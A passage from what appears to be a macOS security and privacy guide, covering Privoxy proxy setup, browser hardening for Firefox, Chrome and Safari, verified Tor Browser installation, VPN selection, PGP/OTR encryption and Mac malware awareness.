If you prefer to use OpenSSL, install with `brew install curl --with-openssl` and ensure it's the default with `brew link --force curl`
Download [drduh/config/curlrc](https://github.com/drduh/config/blob/master/curlrc) or see the [man page](https://curl.haxx.se/docs/manpage.html):
```console
$ curl -o ~/.curlrc https://raw.githubusercontent.com/drduh/config/master/curlrc
```
## Web
### Privoxy
Consider using [Privoxy](https://www.privoxy.org/) as a local proxy to filter Web browsing traffic.
**Note** macOS proxy settings are not universal; apps and services may not honor system proxy settings. Ensure the application you wish to proxy is correctly configured and manually verify connections don't leak. Additionally, it may be possible to configure the *pf* firewall to transparently proxy all traffic.
A signed installation package for privoxy can be downloaded from [silvester.org.uk](https://silvester.org.uk/privoxy/Macintosh%20%28OS%20X%29/) or [Sourceforge](https://sourceforge.net/projects/ijbswa/files/Macintosh%20%28OS%20X%29/). The signed package is [more secure](https://github.com/drduh/macOS-Security-and-Privacy-Guide/issues/65) than the Homebrew version, and attracts full support from the Privoxy project.
Alternatively, install and start privoxy using Homebrew:
```console
$ brew install privoxy
$ brew services start privoxy
```
By default, privoxy listens on localhost, TCP port 8118.
Set the system **HTTP** proxy for your active network interface `127.0.0.1` and `8118` (This can be done through **System Preferences > Network > Advanced > Proxies**):
```console
$ sudo networksetup -setwebproxy "Wi-Fi" 127.0.0.1 8118
```
**(Optional)** Set the system **HTTPS** proxy, which still allows for domain name filtering, with:
```console
$ sudo networksetup -setsecurewebproxy "Wi-Fi" 127.0.0.1 8118
```
Confirm the proxy is set:
```console
$ scutil --proxy
<dictionary> {
ExceptionsList : <array> {
0 : *.local
1 : 169.254/16
}
FTPPassive : 1
HTTPEnable : 1
HTTPPort : 8118
HTTPProxy : 127.0.0.1
}
```
Visit <http://p.p/> in a browser, or with Curl:
```console
$ ALL_PROXY=127.0.0.1:8118 curl -I http://p.p/
HTTP/1.1 200 OK
Content-Length: 2401
Content-Type: text/html
Cache-Control: no-cache
```
Privoxy already comes with many good rules, however you can also write your own.
Download [drduh/config/privoxy/config](https://github.com/drduh/config/blob/master/privoxy/config) and [drduh/config/privoxy/user.action](https://github.com/drduh/config/blob/master/privoxy/user.action) to get started:
```console
$ curl -o homebrew/etc/privoxy/config https://raw.githubusercontent.com/drduh/config/master/privoxy/config
$ curl -o homebrew/etc/privoxy/user.action https://raw.githubusercontent.com/drduh/config/master/privoxy/user.action
```
Restart Privoxy and verify traffic is blocked or redirected:
```console
$ sudo brew services restart privoxy
$ ALL_PROXY=127.0.0.1:8118 curl ads.foo.com/ -IL
HTTP/1.1 403 Request blocked by Privoxy
Content-Type: image/gif
Content-Length: 64
Cache-Control: no-cache
$ ALL_PROXY=127.0.0.1:8118 curl imgur.com/ -IL
HTTP/1.1 302 Local Redirect from Privoxy
Location: https://imgur.com/
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
```
You can replace ad images with pictures of kittens, for example, by starting a local Web server and [redirecting blocked requests](https://www.privoxy.org/user-manual/actions-file.html#SET-IMAGE-BLOCKER) to localhost.
### Browser
The Web browser poses the largest security and privacy risk, as its fundamental job is to download and execute untrusted code from the Internet. This is an important statement. The unique use case of Web Browsers of operation in hostile environments, has forced them to adopt certain impressive security features. The cornerstone of Web Browser security is the Same Origin Policy ([SOP](https://en.wikipedia.org/wiki/Same-origin_policy)). In a few words, SOP prevents a malicious script on one page from obtaining access to sensitive data on another web page through that page's Document Object Model (DOM). If SOP is compromised, the security of the whole Web Browser is compromised.
The best tip to ensure secure browsing regardless your choice of Web Browser is proper security hygiene. The majority of Web Browser exploits require social engineering attacks to achieve native code execution. Always be mindful of the links you click and be extra careful when websites ask you to download and install software. 99% percent of the time that software is malware.
Another important consideration about Web Browser security is Web Extensions. Web Extensions greatly increase the attack surface of the Web Browser. This is an issue that plagues Firefox and [Chrome](https://courses.csail.mit.edu/6.857/2016/files/24.pdf) alike. Luckily, Web Extensions can only access specific browser APIs that are being governed by their manifest. That means we can quickly audit their behavior and remove them if they request access to information they shouldn't (why would an Ad blocker require camera access?). In the interest of security, it is best to limit your use of Web Extensions.
[Mozilla Firefox](https://www.mozilla.org/en-US/firefox/new/), [Google Chrome](https://www.google.com/chrome/), [Safari](https://www.apple.com/safari/), and [Tor Browser](https://www.torproject.org/projects/torbrowser.html.en) are covered in this guide. Each Web Browser offers certain benefits and drawbacks regarding their security and privacy. It is best to make an informed choice and not necessarily commit to only one.
#### Firefox
[Mozilla Firefox](https://www.mozilla.org/en-US/firefox/new/) is an excellent browser as well as being completely open source. Currently, Firefox is in a renaissance period. It replaces major parts of its infrastructure and code base under projects [Quantum](https://wiki.mozilla.org/Quantum) and [Photon](https://wiki.mozilla.org/Firefox/Photon/Updates). Part of the Quantum project is to replace C++ code with [Rust](https://www.rust-lang.org/en-US/). Rust is a systems programming language with a focus on security and thread safety. It is expected that Rust adoption will greatly improve the overall security posture of Firefox.
Firefox offers a similar security model to Chrome: it has a [bug bounty program](https://www.mozilla.org/en-US/security/bug-bounty/), although it is not a lucrative as Chrome's. Firefox follows a six-week release cycle similar to Chrome. See discussion in issues [#2](https://github.com/drduh/macOS-Security-and-Privacy-Guide/issues/2) and [#90](https://github.com/drduh/macOS-Security-and-Privacy-Guide/issues/90) for more information about certain differences in Firefox and Chrome.
Firefox supports user-supplied configuration files. See [drduh/config/user.js](https://github.com/drduh/config/blob/master/user.js), [pyllyukko/user.js](https://github.com/pyllyukko/user.js) and [ghacksuserjs/ghacks-user.js](https://github.com/ghacksuserjs/ghacks-user.js) for recommended preferences and hardening measures. Also see [NoScript](https://noscript.net/), an extension which allows whitelist-based, pre-emptive script blocking.
Firefox is focused on user privacy. It supports [tracking protection](https://developer.mozilla.org/en-US/Firefox/Privacy/Tracking_Protection) in Private Browsing mode. The tracking protection can be enabled for the default account, although it may break the browsing experience on some websites. Another feature for added privacy unique to Firefox is [Containers](https://testpilot.firefox.com/experiments/containers), similar to Chrome profiles.
Previous versions of Firefox used a [Web Extension SDK](https://developer.mozilla.org/en-US/Add-ons/Legacy_add_ons) that was quite invasive and offered immense freedom to developers. Sadly, that freedom also introduced a number of vulnerabilities in Firefox that greatly affected its users. You can find more information about vulnerabilities introduced by Firefox's legacy extensions in this [paper](https://www.exploit-db.com/docs/24541.pdf) (pdf). Currently, Firefox only supports Web Extensions through the [Web Extension Api](https://developer.mozilla.org/en-US/Add-ons/WebExtensions), which is very similar to Chrome's.
Submission of Web Extensions in Firefox is free. Web Extensions in Firefox most of the time are open source, although certain Web Extensions are proprietary.
**Note** Similar to Chrome and Safari, Firefox allows account sync across multiple devices. While stored login passwords are encrypted, Firefox does not require a password to reveal their plain text format. Firefox only displays as yes/no prompt. This is an important security issue. Keep that in mind if you sign in to your Firefox account from devices that do not belong to you and leave them unattended. The [issue](https://bugzilla.mozilla.org/show_bug.cgi?id=1393493) has been raised among the Firefox community and hopefully will be resolved in the coming versions.
See [drduh/config/firefox.user.js](https://github.com/drduh/config/blob/master/firefox.user.js) for additional Firefox configuration options to improve security and privacy.
#### Chrome
[Google Chrome](https://www.google.com/chrome/) is based on the open source [Chromium project](https://www.chromium.org/Home) with certain [proprietary components](https://fossbytes.com/difference-google-chrome-vs-chromium-browser/):
* Automatic updates with GoogleSoftwareUpdateDaemon.
* Usage tracking and crash reporting, which can be disabled through Chrome's settings.
* Chrome Web Store.
* Adobe Flash Plugin - supports a Pepper API version of Adobe Flash which gets updated automatically with Chrome.
* Media Codec support - adds support for proprietary codecs.
* Chrome [PDF viewer](http://0xdabbad00.com/2013/01/13/most-secure-pdf-viewer-chrome-pdf-viewer/).
* Non-optional tracking. Google Chrome installer includes a randomly generated token. The token is sent to Google after the installation completes in order to measure the success rate. The RLZ identifier stores information – in the form of encoded strings – like the source of chrome download and installation week. It doesn’t include any personal information and it’s used to measure the effectiveness of a promotional campaign. **Chrome downloaded from Google’s website doesn’t have the RLZ identifier**. The source code to decode the strings is made open by Google.
Chrome offers account sync between multiple devices. Part of the sync data are stored website credentials. The login passwords are encrypted and in order to access them, a user's Google account password is required. You can use your Google account to sign to your Chrome customized settings from other devices while retaining your the security of your passwords.
Chrome's Web store for extensions requires a [5 dollar lifetime fee](https://developer.chrome.com/webstore/publish#pay-the-developer-signup-fee) in order to submit extensions. The low cost allows the development of many quality Open Source Web Extensions that do not aim to monetize through usage.
Chrome has the largest share of global usage and is the preferred target platform for the majority of developers. Major technologies are based on Chrome's Open Source components, such as [node.js](https://nodejs.org/en/) which uses [Chrome's V8](https://developers.google.com/v8/) Engine and the [Electron](https://electron.atom.io/) framework, which is based on Chromium and node.js. Chrome's vast user base makes it the most attractive target for threat actors and security researchers. Despite under constants attacks, Chrome has retained an impressive security track record over the years. This is not a small feat.
Chrome offers [separate profiles](https://www.chromium.org/user-experience/multi-profiles), [sandboxing](https://www.chromium.org/developers/design-documents/sandbox), [frequent updates](https://googlechromereleases.blogspot.com/) (including Flash, although you should disable it - see below), and carries [impressive credentials](https://www.chromium.org/Home/chromium-security/brag-sheet). In addition, Google offers a very lucrative [bounty](https://www.google.com/about/appsecurity/chrome-rewards/) program for reporting vulnerabilities along with its own [Project Zero](https://googleprojectzero.blogspot.com). This means that a large number of highly talented and motivated people are constantly auditing Chrome's code base.
Create separate Chrome profiles to reduce XSS risk and compartmentalize cookies/identities. In each profile, either disable Javascript in Chrome settings and manually whitelist allowed origins - or use [uBlock Origin](https://github.com/gorhill/uBlock) to manage Javascript and/or disable third-party scripts/frames. Also install [HTTPSEverywhere](https://www.eff.org/https-everywhere) to upgrade insecure connections.
Change the default search engine from Google to reduce additional tracking.
Disable [DNS prefetching](https://www.chromium.org/developers/design-documents/dns-prefetching) (see also [DNS Prefetching and Its Privacy Implications](https://www.usenix.org/legacy/event/leet10/tech/full_papers/Krishnan.pdf) (pdf)). Note that Chrome [may attempt](https://github.com/drduh/macOS-Security-and-Privacy-Guide/issues/350) to resolve DNS using Google's `8.8.8.8` and `8.8.4.4` public nameservers.
Read [Chromium Security](https://www.chromium.org/Home/chromium-security) and [Chromium Privacy](https://www.chromium.org/Home/chromium-privacy) for more detailed, technical information.
Read [Google's privacy policy](https://www.google.com/policies/privacy/) and learn which [Google services](https://www.google.com/services/) collect personal information. Users can opt-out of services and see what type of information Google has stored in [account settings](https://myaccount.google.com/privacy).
#### Safari
[Safari](https://www.apple.com/safari/) is the default Web browser of macOS. It is also the most optimized browser for reducing battery use. Safari, like Chrome, has both Open Source and proprietary components. Safari is based on the open source Web Engine [WebKit](https://en.wikipedia.org/wiki/WebKit), which is ubiquitous among the macOS ecosystem. WebKit is used by Apple apps such as Mail, iTunes, iBooks, and the App Store. Chrome's [Blink](https://www.chromium.org/blink) engine is a fork of WebKit and both engines share a number of similarities.
Safari supports certain unique features that benefit user security and privacy. [Content blockers](https://webkit.org/blog/3476/content-blockers-first-look/) enables the creation of content blocking rules without using Javascript. This rule based approach greatly improves memory use, security, and privacy. Safari 11 introduced an [Intelligent Tracking Prevention](https://webkit.org/blog/7675/intelligent-tracking-prevention/) system. This feature automatically removes tracking data stored in Safari after a period of non-interaction by the user from the tracker's website.
Similar to Chrome and Firefox, Safari offers an invite only [bounty program](https://developer.apple.com/bug-reporting/) for bug reporting to a select number of security researchers. The bounty program was announced during Apple's [presentation](https://www.blackhat.com/docs/us-16/materials/us-16-Krstic.pdf) at [BlackHat](https://www.blackhat.com/us-16/briefings.html#behind-the-scenes-of-ios-security) 2016.
Web Extensions in Safari have an additional option to use native code in the Safari's sandbox environment, in addition to Web Extension APIs. Web Extensions in Safari are also distributed through Apple's App store. App store submission comes with the added benefit of Web Extension code being audited by Apple. On the other hand App store submission comes at a steep cost. Yearly [developer subscription](https://developer.apple.com/support/compare-memberships/) fee costs 100 USD (in contrast to Chrome's 5 dollar lifetime fee and Firefox's free submission). The high cost is prohibitive for the majority of Open Source developers. As a result, Safari has very few extensions to choose from. However, you should keep the high cost in mind when installing extensions. It is expected that most Web Extensions will have some way of monetizing usage in order to cover developer costs. Be wary of Web Extensions whose source code is not open.
Safari syncs user preferences and saved passwords with [iCloud Keychain](https://support.apple.com/en-gb/HT202303). In order to be viewed in plain text, a user must input the account password of the current device. This means that users can sync data across devices with added security.
Safari follows a slower release cycle than Chrome and Firefox (3-4 minor releases, 1 major release, per year). Newer features are slower to be adopted to the stable channel. Although security updates in Safari are handled independent of the stable release schedule and issued automatically through the App store. The Safari channel that follows a six-week release cycle (similar to as Chrome and Firefox) is called [Safari Technology Preview](https://developer.apple.com/safari/technology-preview/) and it is the recommended option instead of the stable channel of Safari.
An excellent open source ad blocker for Safari that fully leverages content blockers is [dgraham/Ka-Block](https://github.com/dgraham/Ka-Block). See also [el1t/uBlock-Safari](https://github.com/el1t/uBlock-Safari/wiki/Disable-hyperlink-auditing-beacon) to disable hyperlink auditing beacons.
#### Other Web browsers
Many Chromium-derived browsers are not recommended. They are usually [closed source](http://yro.slashdot.org/comments.pl?sid=4176879&cid=44774943), [poorly maintained](https://plus.google.com/+JustinSchuh/posts/69qw9wZVH8z), [have bugs](https://code.google.com/p/google-security-research/issues/detail?id=679), and make dubious claims to protect privacy. See [The Private Life of Chromium Browsers](https://web.archive.org/web/20180517132144/http://thesimplecomputer.info/the-private-life-of-chromium-browsers).
Other miscellaneous browsers, such as [Brave](https://github.com/drduh/macOS-Security-and-Privacy-Guide/issues/94), are not evaluated in this guide, so are neither recommended nor actively discouraged from use.
#### Web browsers and privacy
All Web Browsers retain certain information about our browsing habits. That information is used for a number of reasons. One of them is to improve the overall performance of the Web Browser. Most Web Browsers offer prediction services to resolve typos or URL redirections, store analytics data of browsing patterns, crash reports and black listing of known malicious servers. Those options can be turned on and off from each Web browser's settings panel.
Since Web browsers execute untrusted code from the server, it is important to understand what type of information can be accessed. The [Navigator](https://developer.mozilla.org/en-US/docs/Web/API/Navigator) interface gives access to information about the Web Browser's user agent. Those include information such as the operating system, Web sites' permissions, and the device's battery level. For more information about security conscious browsing and what type of information is being "leaked" by your browser, see [HowTo: Privacy & Security Conscious Browsing](https://gist.github.com/atcuno/3425484ac5cce5298932), [browserleaks.com](https://www.browserleaks.com/) and [EFF Panopticlick](https://panopticlick.eff.org/).
To hinder third party trackers, it is recommended to **disable third-party cookies** in Web browser settings. A third party cookie is a cookie associated with a file requested by a different domain than the one the user is currently viewing. Most of the time third-party cookies are used to create browsing profiles by tracking a user's movement on the web. Disabling third-party cookies prevents HTTP responses and scripts from other domains from setting cookies. Moreover, cookies are removed from requests to domains that are not the document origin domain, so cookies are only sent to the current site that is being viewed.
Also be aware of [WebRTC](https://en.wikipedia.org/wiki/WebRTC#Concerns), which may reveal your local or public (if connected to VPN) IP address(es). In Firefox and Chrome/Chromium this can be disabled with extensions such as [uBlock Origin](https://github.com/gorhill/uBlock/wiki/Prevent-WebRTC-from-leaking-local-IP-address) and [rentamob/WebRTC-Leak-Prevent](https://github.com/rentamob/WebRTC-Leak-Prevent). Disabling WebRTC in Safari is only possible with a [system hack](https://github.com/JayBrown/Disable-and-toggle-WebRTC-in-macOS-Safari).
### Plugins
**Adobe Flash**, **Oracle Java**, **Adobe Reader**, **Microsoft Silverlight** (Netflix now works with [HTML5](https://help.netflix.com/en/node/23742)) and other plugins are [security risks](https://news.ycombinator.com/item?id=9901480) and should not be installed.
If they are necessary, only use them in a disposable virtual machine and subscribe to security announcements to make sure you're always patched.
See [Hacking Team Flash Zero-Day](https://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-flash-zero-day-integrated-into-exploit-kits/), [Java Trojan BackDoor.Flashback](https://en.wikipedia.org/wiki/Trojan_BackDoor.Flashback), [Acrobat Reader: Security Vulnerabilities](https://www.cvedetails.com/vulnerability-list/vendor_id-53/product_id-497/Adobe-Acrobat-Reader.html), and [Angling for Silverlight Exploits](https://blogs.cisco.com/security/angling-for-silverlight-exploits) for examples.
## Tor
Tor is an anonymizing proxy which can be used for browsing the Web.
Download Tor Browser from [Tor Project](https://www.torproject.org/download/).
Do **not** attempt to configure other browsers or applications to use Tor as you may make a mistake which will compromise anonymity.
Download both the `dmg` and `asc` signature files, then verify the disk image has been signed by Tor developers:
```console
$ cd ~/Downloads
$ file Tor*
TorBrowser-8.0.4-osx64_en-US.dmg: bzip2 compressed data, block size = 900k
TorBrowser-8.0.4-osx64_en-US.dmg.asc: PGP signature Signature (old)
$ gpg Tor*asc
[...]
gpg: Can't check signature: No public key
$ gpg --recv 0x4E2C6E8793298290
gpg: key 0x4E2C6E8793298290: public key "Tor Browser Developers (signing key) <torbrowser@torproject.org>" imported
gpg: no ultimately trusted keys found
gpg: Total number processed: 1
gpg: imported: 1
$ gpg --verify Tor*asc
gpg: assuming signed data in 'TorBrowser-8.0.4-osx64_en-US.dmg'
gpg: Signature made Mon Dec 10 07:16:22 2018 PST
gpg: using RSA key 0xEB774491D9FF06E2
gpg: Good signature from "Tor Browser Developers (signing key) <torbrowser@torproject.org>" [unknown]
gpg: WARNING: This key is not certified with a trusted signature!
gpg: There is no indication that the signature belongs to the owner.
Primary key fingerprint: EF6E 286D DA85 EA2A 4BA7 DE68 4E2C 6E87 9329 8290
Subkey fingerprint: 1107 75B5 D101 FB36 BC6C 911B EB77 4491 D9FF 06E2
```
Make sure `Good signature from "Tor Browser Developers (signing key) <torbrowser@torproject.org>"` appears in the output. The warning about the key not being certified is benign, as it has not yet been manually assigned trust.
See [How to verify signatures for packages](https://www.torproject.org/docs/verifying-signatures.html) for more information.
To finish installing Tor Browser, open the disk image and drag the it into the Applications folder, or with:
```console
$ hdiutil mount TorBrowser-8.0.4-osx64_en-US.dmg
$ cp -r /Volumes/Tor\ Browser/Tor\ Browser.app/ ~/Applications/
```
Verify the Tor application's code signature was made by with The Tor Project's Apple developer ID **MADPSAYN6T**, using the `spctl -a -v` and/or `pkgutil --check-signature` commands:
```console
$ spctl -a -vv ~/Applications/Tor\ Browser.app
/Users/drduh/Applications/Tor Browser.app: accepted
source=Developer ID
origin=Developer ID Application: The Tor Project, Inc (MADPSAYN6T)
$ pkgutil --check-signature ~/Applications/Tor\ Browser.app
Package "Tor Browser.app":
Status: signed by a certificate trusted by Mac OS X
Certificate Chain:
1. Developer ID Application: The Tor Project, Inc (MADPSAYN6T)
SHA1 fingerprint: 95 80 54 F1 54 66 F3 9C C2 D8 27 7A 29 21 D9 61 11 93 B3 E8
-----------------------------------------------------------------------------
2. Developer ID Certification Authority
SHA1 fingerprint: 3B 16 6C 3B 7D C4 B7 51 C9 FE 2A FA B9 13 56 41 E3 88 E1 86
-----------------------------------------------------------------------------
3. Apple Root CA
SHA1 fingerprint: 61 1E 5B 66 2C 59 3A 08 FF 58 D1 4A E2 24 52 D1 98 DF 6C 60
```
You can also use the `codesign` command to examine an application's code signature:
```console
$ codesign -dvv ~/Applications/Tor\ Browser.app
Executable=/Users/drduh/Applications/Tor Browser.app/Contents/MacOS/firefox
Identifier=org.torproject.torbrowser
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20200 size=229 flags=0x0(none) hashes=4+3 location=embedded
Library validation warning=OS X SDK version before 10.9 does not support Library Validation
Signature size=4247
Authority=Developer ID Application: The Tor Project, Inc (MADPSAYN6T)
Authority=Developer ID Certification Authority
Authority=Apple Root CA
Signed Time=Dec 10, 2018 at 12:18:45 AM
Info.plist entries=24
TeamIdentifier=MADPSAYN6T
Sealed Resources version=2 rules=12 files=128
Internal requirements count=1 size=188
```
To view full certificate details for a signed application, extract them with `codesign` and decode it with `openssl`:
```console
$ codesign -d --extract-certificates ~/Applications/Tor\ Browser.app
Executable=/Users/drduh/Applications/Tor Browser.app/Contents/MacOS/firefox
$ file codesign*
codesign0: data
codesign1: data
codesign2: data
$ openssl x509 -inform der -in codesign0 -subject -issuer -startdate -enddate -noout
subject= /UID=MADPSAYN6T/CN=Developer ID Application: The Tor Project, Inc (MADPSAYN6T)/OU=MADPSAYN6T/O=The Tor Project, Inc/C=US
issuer= /CN=Developer ID Certification Authority/OU=Apple Certification Authority/O=Apple Inc./C=US
notBefore=Apr 12 22:40:13 2016 GMT
notAfter=Apr 13 22:40:13 2021 GMT
$ openssl x509 -inform der -in codesign0 -fingerprint -noout
SHA1 Fingerprint=95:80:54:F1:54:66:F3:9C:C2:D8:27:7A:29:21:D9:61:11:93:B3:E8
$ openssl x509 -inform der -in codesign0 -fingerprint -sha256 -noout
SHA256 Fingerprint=B5:0D:47:F0:3E:CB:42:B6:68:1C:6F:38:06:2B:C2:9F:41:FA:D6:54:F1:29:D3:E4:DD:9C:C7:49:35:FF:F5:D9
```
Tor traffic is **encrypted** to the [exit node](https://en.wikipedia.org/wiki/Tor_(anonymity_network)#Exit_node_eavesdropping) (i.e., cannot be read by a passive network eavesdropper), but Tor use **can** be identified - for example, TLS handshake "hostnames" will show up in plaintext:
```console
$ sudo tcpdump -An "tcp" | grep "www"
listening on pktap, link-type PKTAP (Apple DLT_PKTAP), capture size 262144 bytes
.............". ...www.odezz26nvv7jeqz1xghzs.com.........
.............#.!...www.bxbko3qi7vacgwyk4ggulh.com.........
.6....m.....>...:.........|../* Z....W....X=..6...C../....................................0...0..0.......'....F./0.. *.H........0%1#0!..U....www.b6zazzahl3h3faf4x2.com0...160402000000Z..170317000000Z0'1%0#..U....www.tm3ddrghe22wgqna5u8g.net0..0..
```
See [Tor Protocol Specification](https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt) and [Tor/TLSHistory](https://trac.torproject.org/projects/tor/wiki/org/projects/Tor/TLSHistory) for more information.
You may wish to additionally obfuscate Tor traffic using a [pluggable transport](https://www.torproject.org/docs/pluggable-transports.html), such as [Yawning/obfs4proxy](https://github.com/Yawning/obfs4) or [SRI-CSL/stegotorus](https://github.com/SRI-CSL/stegotorus).
This can be done by setting up your own [Tor relay](https://www.torproject.org/docs/tor-relay-debian.html) or finding an existing private or public [bridge](https://www.torproject.org/docs/bridges.html.en#RunningABridge) to serve as an obfuscating entry node.
For extra security, use Tor inside a [VirtualBox](https://www.virtualbox.org/wiki/Downloads) or [VMware](https://www.vmware.com/products/fusion) virtualized [GNU/Linux](http://www.brianlinkletter.com/installing-debian-linux-in-a-virtualbox-virtual-machine/) or [BSD](https://www.openbsd.org/faq/faq4.html) machine.
Finally, remember the Tor network provides [anonymity](https://www.privateinternetaccess.com/blog/2013/10/how-does-privacy-differ-from-anonymity-and-why-are-both-important/), which is not necessarily synonymous with privacy. The Tor network does not guarantee protection against a global observer capable of traffic analysis and [correlation](https://blog.torproject.org/category/tags/traffic-correlation). See also [Seeking Anonymity in an Internet Panopticon](http://bford.info/pub/net/panopticon-cacm.pdf) (pdf) and [Traffic Correlation on Tor by Realistic Adversaries](http://www.ohmygodel.com/publications/usersrouted-ccs13.pdf) (pdf).
Also see [Invisible Internet Project (I2P)](https://geti2p.net/en/about/intro) and its [Tor comparison](https://geti2p.net/en/comparison/tor).
## VPN
Unencrypted network traffic is being actively monitored and possibly tampered with. Encrypted traffic still exposes [connection metadata](https://security.stackexchange.com/questions/142833/does-https-encrypt-metadata#142855) and could be used to infer behavior or specific actions.
It is a good idea to use a VPN with outgoing network traffic (*not* **split tunnel**) together with a trustworthy provider. [drduh/Debian-Privacy-Server-Guide](https://github.com/drduh/Debian-Privacy-Server-Guide) is one of many available guides for setting up a personal VPN server.
Don't just blindly sign up for a VPN service without understanding the full implications and how your traffic will be routed. If you don't understand how the VPN works or are not familiar with the software used, you are probably better off without it.
When choosing a VPN service or setting up your own, be sure to research the protocols, key exchange algorithms, authentication mechanisms, and type of encryption being used. Some protocols, such as [PPTP](https://en.wikipedia.org/wiki/Point-to-Point_Tunneling_Protocol#Security), should be avoided in favor of [OpenVPN](https://en.wikipedia.org/wiki/OpenVPN) or Linux-based [Wireguard](https://www.wireguard.com/) [on a Linux VM](https://github.com/mrash/Wireguard-macOS-LinuxVM) or via a set of [cross platform tools](https://www.wireguard.com/xplatform/).
Some clients may send traffic over the next available interface when VPN is interrupted or disconnected. See [scy/8122924](https://gist.github.com/scy/8122924) for an example on how to allow traffic only over VPN.
Another set of scripts to lock down your system so it will only access the internet via a VPN can be found as part of the Voodoo Privacy project - [sarfata/voodooprivacy](https://github.com/sarfata/voodooprivacy) and there is an updated guide to setting up an IPSec VPN on a virtual machine ([hwdsl2/setup-ipsec-vpn](https://github.com/hwdsl2/setup-ipsec-vpn)) or a docker container ([hwdsl2/docker-ipsec-vpn-server](https://github.com/hwdsl2/docker-ipsec-vpn-server)).
It may be worthwhile to consider the geographical location of the VPN provider. See further discussion in [issue #114](https://github.com/drduh/macOS-Security-and-Privacy-Guide/issues/114).
Also see this [technical overview](https://blog.timac.org/2018/0717-macos-vpn-architecture/) of the macOS built-in VPN L2TP/IPSec and IKEv2 client.
Other open source OpenVPN clients/GUI: [Eddie](https://github.com/AirVPN/Eddie), [Pritunl](https://client.pritunl.com) are not evaluated in this guide, so are neither recommended nor actively discouraged from use.
## PGP/GPG
PGP is a standard for encrypting email end to end. That means only the chosen recipients can decrypt a message, unlike regular email which is read and forever archived by providers.
GPG, or **GNU Privacy Guard**, is a GPL-licensed open source program compliant with the PGP standard.
GPG is used to verify signatures of software you download and install, as well as [symmetrically](https://en.wikipedia.org/wiki/Symmetric-key_algorithm) or [asymmetrically](https://en.wikipedia.org/wiki/Public-key_cryptography) encrypt files and text.
Install from Homebrew with `brew install gnupg`.
If you prefer a graphical application, download and install [GPG Suite](https://gpgtools.org/).
Download [drduh/config/gpg.conf](https://github.com/drduh/config/blob/master/gpg.conf) to use recommended settings:
```console
$ curl -o ~/.gnupg/gpg.conf https://raw.githubusercontent.com/drduh/config/master/gpg.conf
```
See [drduh/YubiKey-Guide](https://github.com/drduh/YubiKey-Guide) to securely generate and store GPG keys.
Read [online](https://alexcabal.com/creating-the-perfect-gpg-keypair/) [guides](https://security.stackexchange.com/questions/31594/what-is-a-good-general-purpose-gnupg-key-setup) and [practice](https://help.riseup.net/en/security/message-security/openpgp/best-practices) encrypting and decrypting email to yourself and your friends. Get them interested in this stuff!
## OTR
OTR stands for **off-the-record** and is a cryptographic protocol for encrypting and authenticating conversations over instant messaging.
You can use OTR on top of any existing [XMPP](https://xmpp.org/about) chat service, even Google Hangouts (which only encrypts conversations between users and the server using TLS).
The first time you start a conversation with someone new, you'll be asked to verify their public key fingerprint. Make sure to do this in person or by some other secure means (e.g. GPG encrypted mail).
A popular macOS GUI client for XMPP and other chat protocols is [Adium](https://adium.im/).
Other XMPP clients include [profanity](http://www.profanity.im/) and [agl/xmpp-client](https://github.com/agl/xmpp-client). Another relatively new XMPP chat client is [CoyIM](https://coy.im/), it's focused and security and has built-in support for OTR and Tor.
If you want to know how OTR works, read the paper [Off-the-Record Communication, or, Why Not To Use PGP](https://otr.cypherpunks.ca/otr-wpes.pdf) (pdf)
## Viruses and malware
There is an [ever-increasing](https://www.documentcloud.org/documents/2459197-bit9-carbon-black-threat-research-report-2015.html) amount of Mac malware in the wild. Macs aren't immune from viruses and malicious software!
Some malware comes bundled with both legitimate software, such as the [Java bundling Ask Toolbar](https://www.zdnet.com/article/oracle-extends-its-adware-bundling-to-include-java-for-macs/), and some with illegitimate software, such as [Mac.BackDoor.iWorm](https://docs.google.com/document/d/1YOfXRUQJgMjJSLBSoLiUaSZfiaS_vU3aG4Bvjmz6Dxs/edit?pli=1) bundled with pirated programs. [Malwarebytes Anti-Malware for Mac](https://www.malwarebytes.com/antimalware/mac/) is an excellent program for ridding oneself of "garden-variety" malware and other "crapware".
See [Methods of malware persistence on Mac OS X](https://www.virusbtn.com/pdf/conference/vb2014/VB2014-Wardle.pdf) (pdf) and [Malware Persistence on OS X Yosemite](https://www.rsaconference.com/events/us15/agenda/sessions/1591/malware-persistence-on-os-x-yosemite) to learn about how garden-variety malware functions.
You could periodically run a tool like [Knock Knock](https://github.com/synack/knockknock) to examine persistent applications (e.g. scripts, binaries). But by then, it is probably too late. Maybe applications such as [Block Block](https://objective-see.com/products/blockblock.html) and [Ostiarius](https://objective-see.com/products/ostiarius.html) will help. See warnings and caveats in [issue #90](https://github.com/drduh/macOS-Security-and-Privacy-Guide/issues/90) first, however. An open-source alternative could be [maclaunch.sh](https://github.com/hazcod/maclaunch).
**Anti-virus** programs are a double-edged sword -- not so useful for **advanced** users and will likely increase attack surface against sophisticated threats; however possibly useful for catching "garden variety" malware on **novice** users' Macs. There is also the additional processing overhead to consider when using "active" scanning features.
See [Sophail: Applied attacks against Antivirus](https://lock.cmpxchg8b.com/sophailv2.pdf) (pdf), [Analysis and Exploitation of an ESET Vulnerability](https://googleprojectzero.blogspot.ro/2015/06/analysis-and-exploitation-of-eset.html), [a trivial Avast RCE](https://code.google.com/p/google-security-research/issues/detail?id=546), [Popular Security Software Came Under Relentless NSA and GCHQ Attacks](https://theintercept.com/2015/06/22/nsa-gchq-targeted-kaspersky/), [How Israel Caught Russian Hackers Scouring the World for U.S. Secrets](https://www.nytimes.com/2017/10/10/technology/kaspersky-lab-israel-russia-hacking.html) and [AVG: "Web TuneUP" extension multiple critical vulnerabilities](https://code.google.com/p/google-security-research/issues/detail?id=675).
Therefore, the best anti-virus is **Common Sense 2020**. See discussion in [issue #44](https://github.com/drduh/macOS-Security-and-Privacy-Guide/issues/44).
Local privilege escalation bugs are plenty on macOS, so always be careful when downloading and running untrusted programs or trusted programs from third party websites or downloaded over HTTP ([example](https://arstechnica.com/security/2015/08/0-day-bug-in-fully-patched-os-x-comes-under-active-exploit-to-hijack-macs/)).
Subscribe to updates at [The Safe Mac](http://www.thesafemac.com/) and [Malwarebytes Blog](https://blog.malwarebytes.com/) for current Mac security news.
To scan an application with multiple AV products and examine its behavior, upload it to [VirusTotal](https://www.virustotal.com/#/home/upload).
